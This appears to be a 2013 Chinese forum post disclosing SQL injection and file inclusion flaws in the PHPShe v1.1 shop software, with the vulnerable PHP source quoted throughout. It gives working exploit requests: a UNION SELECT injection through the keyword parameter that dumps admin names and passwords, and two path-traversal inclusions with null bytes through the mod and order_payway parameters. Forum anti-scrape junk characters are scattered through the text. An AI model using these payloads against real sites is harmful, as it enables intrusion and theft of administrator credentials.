找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2844|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/*******************************************************/
; @) h+ e1 m7 Z, ~/* Phpshe v1.1 Vulnerability
2 D" i! [- t: D/* ========================
5 P6 H; E& _% c! ~. G" V9 I/* By: : Kn1f3
6 h% w' t7 q, b3 Q) D- Z/* E-Mail : 681796@qq.com' A( z8 ^9 S! S' S  ]
/*******************************************************/+ O4 N8 L; a- }
0×00 整体大概参数传输
: ^7 V. j) z+ T  m3 M
$ t* _: S% t! i7 |
- A) W6 g$ \& |! t0 c# x4 k+ L
1 l" i/ ^- R: x+ j) V. t/ r2 _
//common.php+ h% C' G, \- b  y3 i
if (get_magic_quotes_gpc()) {
# F4 W- d- p8 w8 m$ h$ b3 \!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
- g6 F. E1 M/ y2 [6 W4 d!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
- ?( ~9 {- S7 F! V3 g}
' C( `- q: [1 n- [8 f" Q$ h" pelse {
$ y/ p$ ^( X! q9 @5 Y% w, Y1 B7 |!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');/ \" w1 T/ B# S9 E' e8 j5 ~
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');; `+ Z  h% z3 F# |
}1 F) K2 Z7 Y2 a3 T6 q* }7 z
session_start();1 A7 p. T3 q0 @" A" U" w3 A2 F
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
4 `2 q7 e* L) D2 c/ g' K!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
$ p& }8 J& ~8 B4 x
# z9 O# U: N3 u, a' B* g* }* n1 D0×01 包含漏洞
9 |2 b$ g2 j* a, K# w
) Y( t* ]# F/ Q. g1 K1 l$ j& z- e
, K( i7 W* B! f
//首页文件
. L: K* h) b* d* d<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
) j* C1 F* \  O' Q" r% V' s) yinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞: x. l0 I# T3 D4 o
pe_result();' |4 c3 V( [0 ]* P/ Q# W$ i
?>
# ?# N  a: x: f6 z  R//common 文件 第15行开始7 f+ `7 I8 n% B  S9 }" O8 L6 ?
url路由配置
/ M% s; t2 r, p5 o, m$module = $mod = $act = 'index';
/ Z( p5 L1 Q5 B3 B$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);2 ?! a. y4 j) ]" r
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);. [' e: N' k! K% q+ G
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
% W  ~) }1 `  _' I' N# K//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%009 I2 U: R% C5 a) V


0 c/ s2 [  g8 E5 m * p3 {4 t8 x6 x7 y# h. k
0×02 搜索注入) b- d/ D5 d7 f, r+ T  Q$ c0 c" k
  ]9 U. s, h' Y( ^, I, [# I9 i
<code id="code2">

//product.php文件3 s$ r; v' a7 n
case 'list':
3 j* D3 t- j# t, a) `+ Y$category_id = intval($id);
1 |4 {; l& @4 c  c$info = $db->pe_select('category', array('category_id'=>$category_id));3 o. L# g# O9 }! B# _, o/ \
//搜索- Y+ G7 `! d+ G; `
$sqlwhere = " and `product_state` = 1";: W6 [% {. Y  \! G
pe_lead('hook/category.hook.php');/ e8 D% `+ s! V: v
if ($category_id) {5 X7 r% ^9 V1 z. m4 n
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
) M' l5 Z3 H2 c8 [2 i3 O9 |6 I8 p}
1 e* s; r1 S# Q( F7 I- k. X) V; D$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
/ P- ~8 G, J$ |, m' s2 yif ($_g_orderby) {1 f6 L0 V' s( H. H
$orderby = explode('_', $_g_orderby);8 _# M1 D, W" c8 d
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";, Y& @" w& U" \* z: G2 B6 C- M  ]
}/ W" K8 C: Q8 ]' m
else {9 `( h! Q! H4 G' ?( @
$sqlwhere .= " order by `product_id` desc";* _+ u& J; |0 M' S: g
}$ T6 X- W8 E8 ?; z! k4 a: f
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));8 J4 J. \, F1 S' {% O3 f
//热卖排行
  S- `1 ?% B+ @9 s9 p* F, U$product_hotlist = product_hotlist();
! r3 ^; c/ r% ?. o* ~( I+ `& r" R5 O//当前路径6 O$ b& d7 E' c! S( C3 G
$nowpath = category_path($category_id);
. V5 ^  d/ o5 j8 \, ]5 _$seo = pe_seo($info['category_name']);
1 H" ^2 g1 B6 q, I5 g6 u0 linclude(pe_tpl('product_list.html'));
( A$ P1 V' I: F% e/ s! I//跟进selectall函数库
, ?0 s, B  Q. F4 l: f" b  d% Ipublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())2 L; j* @1 C' a* A: y2 @3 M8 o
{) k, m& ?/ u% P; \# W1 |( {
//处理条件语句
7 c/ J1 N" ]3 F" `/ U; u2 r$sqlwhere = $this->_dowhere($where);
! o% T, T3 `2 Q: K( Freturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);. w0 y3 u( _* ]3 r/ Y8 e, a6 `) ]: L
}% ^0 ~. B) R) Q! \$ [* ^
//exp( P% m" F  {0 v* s' G
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
( ~+ M% i1 m, q! t

</code>! t! F6 S& `" U5 U

" d: {' A$ a2 l& [! R* }0×03 包含漏洞2
/ r' r7 d- ], s/ v$ }* O
% p) Y  S% g' ]<code id="code3">

//order.php

case 'pay':


, R+ O1 W; L' W  t# z1 H( |! t9 K$order_id = pe_dbhold($_g_id);

7 B+ `) L: _; k! Q' n, N9 n" E
$cache_payway = cache::get('payway');


7 a" ^- A1 U! s3 e4 t8 D! `& j5 O+ yforeach($cache_payway as $k => $v) {

: D1 n& g  r$ b; O
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

8 q8 T  F& s. h# Q' D. L3 T
if ($k == 'bank') {

& t/ Q. H4 T' T2 W2 p1 j' R: B5 T0 u+ o
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


% ^6 ~( w) S8 G5 \5 s/ u}

( Y' q! q& j; O- t: m  ^" M6 M
}

, m6 T/ o/ O0 O8 K3 ?3 P- F& j) S! b
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


+ d8 h6 S  G+ A0 U' }, K!$order['order_id'] && pe_error('订单号错误...');


* n) q0 g  {* Nif (isset($_p_pesubmit)) {


+ ~, E* i) m  O) y/ Z! T, Oif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

! _9 O3 a6 z8 }! K( a5 M. p
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


5 j3 ?8 \. p6 fforeach ($info_list as $v) {

- h) M2 Z7 _: j
$order['order_name'] .= "{$v['product_name']};";
  _0 P# s+ G6 ~  W# l4 C8 H0 U/ t


. L! q- l" A* B7 h! ]}

3 Z% v( K' v( z' ^6 f9 x
echo '正在为您连接支付网站,请稍后...';

4 z( i3 Z; \1 [5 Y& {, _' ^
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

; ?5 X/ i: f$ q# q/ E
}//当一切准备好的时候就可以进行"鸡肋包含了"


" j0 M4 @9 ]" Xelse {


1 {( n0 |! }  ?- \- Rpe_error('支付错误...');


+ _2 @+ d% p& Y. L}

* ]& t2 K) z0 }+ b; `" j$ C4 z
}


3 c( A1 U1 }8 z: W$seo = pe_seo('选择支付方式');

# A( q& Z2 H+ T8 o1 c
include(pe_tpl('order_pay.html'));


3 J7 h7 K+ q9 C% H! \& H8 Wbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>) T! ~! s* p3 b) u& P6 |' @+ R

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表